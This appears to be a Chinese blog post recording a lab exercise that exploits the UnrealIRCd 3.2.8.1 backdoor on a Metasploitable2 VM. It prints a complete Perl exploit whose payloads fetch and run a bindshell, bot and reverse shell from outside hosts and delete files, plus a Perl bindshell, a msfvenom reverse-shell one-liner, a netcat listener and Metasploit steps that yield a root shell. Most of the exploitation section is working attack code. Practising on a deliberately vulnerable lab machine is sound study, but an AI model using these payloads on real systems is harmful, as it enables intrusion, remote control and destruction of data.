上一篇学习了一下漏洞利用过程中的一些信息收集的准备工作,扫描了一下Metasploitable2的主机,发现好多开放的端口,从今天开始一个一个学习一下试一下能不能利用这些端口来进行一些渗透工作,一直学习就好了。
什么是UnrealIRCd UnrealIRCd是一款基于 C++ 的开源 IRCD 服务端应用
IRC 一种基于网络的群体聊天方式。可以进行群体聊天也可以进行个人对个人的单独聊天。这种起源于上世纪的聊天技术在当时被很多网友追捧。可惜经过网络信息交流方式日新月异的变化,逐渐被各类聊天软件所淘汰。 IRC具有分布式的客户端/服务器结构。用户通过IRC软件连接并登录到到一个IRC服务器,可以访问这个服务器以及它所连接的其他服务器上的频道。 选择相应的聊天频道,既可以开始广播式的群里聊天。也可对频道中单独的用户发起聊天。
信息收集 nmap扫描 扫描结果如下:
可以看到,有两个关于 Unreal IRCd 的开放端口,分别为 6667 和 6697
使用hexchat IRC客户端连接IRC Server 安装客户端:sudo apt install -y hexchat
太慢的话建议更换kali 源,编辑 /etc/apt/sources.list,注释掉原本的国外源,改用清华或者阿里的源:
1 2 3 4 5 6 7 #阿里云 deb http: deb-src http:#清华大学 deb http: deb-src https:
安装完成后开启hexchat,添加一个 Metasploitable 2这个服务器:
关闭窗口之后点击连接按钮,我们就成功连接到了服务器:
在这里我们可以看到version Unreal3.2.8.1,下面我们可以去searchsploit 和 exploit-db 里进行查询评估,看看这个版本的 Unreal IRC 是否存在可被利用的漏洞
Unreal IRCd 3.2.8.1 漏洞评估 Searchsploit kali里面使用如下命令:searchsploit unreal ircd 3.2.8.1
可以看出该版本有三个可利用漏洞:
后门漏洞可在 Metasploit 上利用的 Ruby exploit
本地溢出可造成DOS拒绝服务的 exploit ,但它只适用于 windows ,因此不适用我们的目标 Metasploitable 2
远程下载和执行 Perl 脚本木马
漏洞利用 手动分析利用 查看payloads脚本内容:
cat /usr/share/exploitdb/exploits/linux/remote/13853.pl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 use Socket;use IO::Socket;my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &' ;my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &' ;my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &' ;my $payload4 = 'AB; killall ircd' ;my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *' ; $host = "" ; $port = "" ; $type = "" ; $host = @ARGV[0 ]; $port = @ARGV[1 ]; $type = @ARGV[2 ];if ($host eq "" ) { usage(); }if ($port eq "" ) { usage(); }if ($type eq "" ) { usage(); }sub usage { printf "\nUsage :\n" ; printf "perl unrealpwn.pl <host> <port> <type>\n\n" ; printf "Command list :\n" ; printf "[1] - Perl Bindshell\n" ; printf "[2] - Perl Reverse Shell\n" ; printf "[3] - Perl Bot\n" ; printf "-----------------------------\n" ; printf "[4] - shutdown ircserver\n" ; printf "[5] - delete ircserver\n" ; exit (1 ); }sub unreal_trojan { my $ircserv = $host; my $ircport = $port; my $sockd = IO::Socket::INET->new (PeerAddr => $ircserv, PeerPort => $ircport, Proto => "tcp" ) || die "Failed to connect to $ircserv on $ircport ...\n\n" ; print "[+] Payload sent ...\n" ; if ($type eq "1" ) { print $sockd "$payload1" ; } elsif ($type eq "2" ) { print $sockd "$payload2" ; } elsif ($type eq "3" ) { print $sockd "$payload3" ; } elsif ($type eq "4" ) { print $sockd "$payload4" ; } elsif ($type eq "5" ) { print $sockd "$payload5" ; } else { printf "\nInvalid Option ...\n\n" ; usage(); } close ($sockd); exit (1 ); } unreal_trojan();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $port = 60000 ; $proto = getprotobyname ('tcp' ); $cmd = "lpd" ; $system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh' ; $0 = $cmd; socket (SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!" ; setsockopt (SERVER, SOL_SOCKET, SO_REUSEADDR, pack ("l" , 1 )) or die "setsockopt: $!" ; bind (SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!" ; listen (SERVER, SOMAXCONN) or die "listen: $!" ; for (; $paddr = accept (CLIENT, SERVER); close CLIENT) { open (STDIN, ">&CLIENT" ); open (STDOUT, ">&CLIENT" ); open (STDERR, ">&CLIENT" ); system ($system); close (STDIN); close (STDOUT); close (STDERR); }
修改 Unreal IRCD 3.2.8.1 exploit 因为我们不能控制它下载了一个什么payload,所以我们可以修改payload以取得有效控制:
使用 msfvenom 生成一个 reverse shell payload。
修改 exploit 代码。
使用 Netcat 获取一个 reverse shell。
当前的 Perl 脚本的一个主要缺点是,它依赖于成功的利用及执行 wget 命令才能成功下载。因此,如果 wget 命令不在目标主机上,则会利用失败。下面将使用 msfvenom 生成一个 Perl 脚本的 payload 摆脱这种依赖和不可控性。命令如下:
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.52.134 LPORT=4444 -f raw
1 perl -MIO -e '$p =fork;exit,if($p );foreach my $key (keys %ENV){if($ENV {$key }=~/(.*)/){$ENV {$key }=$1 ;}}$c =new IO::Socket::INET(PeerAddr,"192.168.52.134:4444");STDIN->fdopen($c ,r);$~->fdopen($c ,w);while(<>){if($_ =~ /(.*)/){system $1 ;}};'
替换掉原本的payload,注意单引号用反斜线转义。
然后使用Netcat开启一个侦听:nc -lvp 4444
然后执行exploit:perl 13853.pl [target IP] [port] 1
我们就获取一个反向shell,并且是root权限:
启动 msfconsole ,并搜索 Unreal IRCD 相关利用模块:
使用选中模块:use exploit/unix/irc/unreal_ircd_3281_backdoor
查看可用 payloads : show payloads
选一个payload:set payload cmd/unix/reverse_perl
查看并配置相关选项:
show options set rhost [target ip] set lhost [attack ip]
最后执行exploit:run
成功获取到了一个root权限的shell!